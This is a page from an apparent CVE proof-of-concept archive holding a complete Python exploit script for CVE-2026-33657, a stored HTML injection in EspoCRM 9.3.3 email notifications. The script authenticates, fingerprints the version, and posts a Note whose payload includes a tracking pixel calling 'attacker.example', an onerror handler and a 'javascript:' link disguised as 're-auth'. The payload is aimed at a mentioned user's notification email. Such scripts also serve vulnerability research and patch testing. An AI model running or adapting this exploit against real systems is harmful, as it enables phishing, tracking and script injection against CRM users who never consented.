5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-33657.py PY
#!/usr/bin/env python3
#
# Exploit Title: EspoCRM 9.3.3 - Stored HTML Injection in Email Notifications
# Date: 2026-05-08
# Exploit Author: EntroVyx
# Vendor Homepage: https://www.espocrm.com/
# Software Link: https://github.com/espocrm/espocrm
# Version: 9.3.3
# CVE: CVE-2026-33657
# Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
#
# Usage:
#   python3 CVE-2026-33657.py -u http://127.0.0.1:8083 -U testuser -P 'Admin12345!' --mention admin
#   python3 CVE-2026-33657.py -u https://target.example -U user -P pass --mention victim --tracking-url https://attacker.example/pixel.gif
#
# The exploit creates a stream Note containing HTML that EspoCRM 9.3.3 renders
# unescaped in email-notification templates. Delivery happens when EspoCRM's
# normal SendEmailNotifications job/cron processes the queued notification.

import argparse
import json
import sys
from urllib.parse import urlparse

import requests


VULNERABLE_VERSIONS = {"9.3.3"}
FIXED_VERSION = "9.3.4"


def normalize_base_url(value):
    value = value.rstrip("/")
    parsed = urlparse(value)

    if not parsed.scheme or not parsed.netloc:
        raise argparse.ArgumentTypeError("target URL must include scheme and host")

    return value


def find_key_values(value, key):
    found = []

    if isinstance(value, dict):
        for item_key, item_value in value.items():
            if item_key == key:
                found.append(item_value)

            found.extend(find_key_values(item_value, key))

    elif isinstance(value, list):
        for item in value:
            found.extend(find_key_values(item, key))

    return found


def get_version(data):
    versions = [item for item in find_key_values(data, "version") if isinstance(item, str)]

    if not versions:
        return None

    return versions[0]


def get_app_user(session, base_url, timeout):
    response = session.get(f"{base_url}/api/v1/App/user", timeout=timeout)

    if response.status_code != 200:
        return response, None

    try:
        return response, response.json()
    except ValueError:
        return response, None


def build_payload(args):
    if args.payload:
        return args.payload

    return (
        f'<img src="{args.tracking_url}" width="1" height="1" onerror="alert(33657)">'
        f'<a href="{args.link_url}" style="color:red">re-auth</a>'
    )


def create_note(session, base_url, post, target_user_id, target_user_name, timeout):
    endpoint = f"{base_url}/api/v1/Note"
    payload = {
        "type": "Post",
        "post": post,
    }

    if target_user_id:
        payload["targetType"] = "users"
        payload["usersIds"] = [target_user_id]

        if target_user_name:
            payload["usersNames"] = {target_user_id: target_user_name}

    return session.post(endpoint, json=payload, timeout=timeout)


def short_body(response):
    body = response.text.replace("\r", "\\r").replace("\n", "\\n")

    if len(body) > 700:
        return body[:700] + "..."

    return body


def parse_note_response(response):
    try:
        data = response.json()
    except json.JSONDecodeError:
        return None

    return data if isinstance(data, dict) else None


def print_version_status(version, force):
    if not version:
        print("[!] Could not read version from /api/v1/App/user.")
        return True

    print(f"[*] Detected version: {version}")

    if version in VULNERABLE_VERSIONS:
        print(f"[+] Version fingerprint is vulnerable: EspoCRM {version}.")
        return True

    if version == "@@version":
        print("[!] Version is '@@version', usually a source-tree build. Continuing because this lab/source build may still be 9.3.3.")
        return True

    if force:
        print(f"[!] Version is not the known vulnerable release. Continuing because --force was supplied.")
        return True

    print(f"[-] Version fingerprint is not vulnerable. CVE-2026-33657 affects 9.3.3 and is fixed in {FIXED_VERSION}.")
    print("[-] Use --force only if you already confirmed the target is a vulnerable build.")
    return False


def run_detect_only(session, base_url, timeout):
    response, data = get_app_user(session, base_url, timeout)

    print(f"[*] /api/v1/App/user: HTTP {response.status_code}")

    if response.status_code != 200 or data is None:
        print("[-] Could not fingerprint EspoCRM with the supplied credentials.")
        return 1

    version = get_version(data)

    if version in VULNERABLE_VERSIONS:
        print(f"[+] Vulnerable by version: EspoCRM {version}.")
        return 0

    if version == "@@version":
        print("[!] Indeterminate: source-tree build reports '@@version'.")
        return 3

    print(f"[-] Not vulnerable by version. Detected: {version or 'unknown'}.")
    return 2


def main():
    parser = argparse.ArgumentParser(
        description="Authenticated EspoCRM CVE-2026-33657 stored HTML injection exploit."
    )
    parser.add_argument("-u", "--url", required=True, type=normalize_base_url, help="Base URL, e.g. http://host:8083")
    parser.add_argument("-U", "--username", required=True, help="EspoCRM username")
    parser.add_argument("-P", "--password", required=True, help="EspoCRM password")
    parser.add_argument("--mention", help="Username to mention, without @. Preferred path for mention email notifications.")
    parser.add_argument("--target-user-id", help="Optional user id for targeted stream-post notifications")
    parser.add_argument("--target-user-name", help="Display name for --target-user-id")
    parser.add_argument("--payload", help="Raw HTML payload to place in the Note post")
    parser.add_argument("--tracking-url", default="http://attacker.example/track.gif", help="Tracking pixel URL for default payload")
    parser.add_argument("--link-url", default="javascript:alert(33657)", help="Link URL for default payload")
    parser.add_argument("--marker", default="CVE-2026-33657", help="Marker text included before the payload")
    parser.add_argument("--timeout", type=float, default=15.0, help="HTTP timeout")
    parser.add_argument("--detect-only", action="store_true", help="Only fingerprint the version; do not create a Note")
    parser.add_argument("--skip-version-check", action="store_true", help="Do not call /api/v1/App/user before exploitation")
    parser.add_argument("--force", action="store_true", help="Exploit even if the version fingerprint is not 9.3.3")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification")
    args = parser.parse_args()

    session = requests.Session()
    session.auth = (args.username, args.password)
    session.headers.update({"Accept": "application/json"})
    session.verify = not args.insecure

    print(f"[*] Target: {args.url}")

    if args.detect_only:
        print("[*] Mode: detect-only. No Note will be created.")
        return run_detect_only(session, args.url, args.timeout)

    if not args.mention and not args.target_user_id:
        print("[-] Active exploitation requires a delivery target.")
        print("[-] Use --mention <username> or --target-user-id <id>.")
        return 2

    if not args.skip_version_check:
        response, data = get_app_user(session, args.url, args.timeout)
        print(f"[*] /api/v1/App/user: HTTP {response.status_code}")

        if response.status_code != 200 or data is None:
            print("[-] Authentication failed or App/user did not return JSON.")
            return 1

        if not print_version_status(get_version(data), args.force):
            return 2

    payload = build_payload(args)
    prefix = f"@{args.mention} " if args.mention else ""
    post = f"{prefix}{args.marker} {payload}"

    print(f"[*] Creating malicious Note as {args.username}")
    response = create_note(
        session,
        args.url,
        post,
        args.target_user_id,
        args.target_user_name,
        args.timeout,
    )

    print(f"[*] Note response: HTTP {response.status_code} {short_body(response)}")

    if response.status_code != 200:
        print("[-] The Note was not created.")
        return 1

    data = parse_note_response(response)

    if not data:
        print("[-] The server did not return a valid Note JSON object.")
        return 1

    note_id = data.get("id")
    stored_post = data.get("post", "")
    mentions = (data.get("data") or {}).get("mentions") or {}
    notified_user_ids = data.get("notifiedUserIdList") or []
    expected_mention = f"@{args.mention}" if args.mention else None

    if args.marker not in stored_post or "<img" not in stored_post or "<a" not in stored_post:
        print("[-] The returned Note does not contain the expected HTML payload.")
        return 2

    print("[+] Exploit payload stored in Note post.")
    print(f"[+] Note id: {note_id}")

    if expected_mention:
        if expected_mention in mentions:
            target = mentions[expected_mention]
            print(f"[+] Mention parsed: {expected_mention} -> user id {target.get('id')}")
        else:
            print(f"[!] Mention {expected_mention} was not parsed. Check message/mention permissions and target username.")

    if notified_user_ids:
        print(f"[+] Notification target list returned by API: {', '.join(notified_user_ids)}")
    else:
        print("[!] API did not return notifiedUserIdList. Email delivery may still depend on EspoCRM notification settings.")

    if args.target_user_id:
        print(f"[+] Targeted stream post requested for user id: {args.target_user_id}")

    print("[+] Complete remote trigger submitted.")
    print("[+] When EspoCRM's SendEmailNotifications job/cron runs, vulnerable 9.3.3 renders this Note through Markdown and {{{post}}}.")
    print("[+] The resulting HTML email body preserves the injected <img> tag and javascript: link.")

    return 0


if __name__ == "__main__":
    try:
        sys.exit(main())
    except requests.RequestException as exc:
        print(f"[-] HTTP error: {exc}")
        sys.exit(1)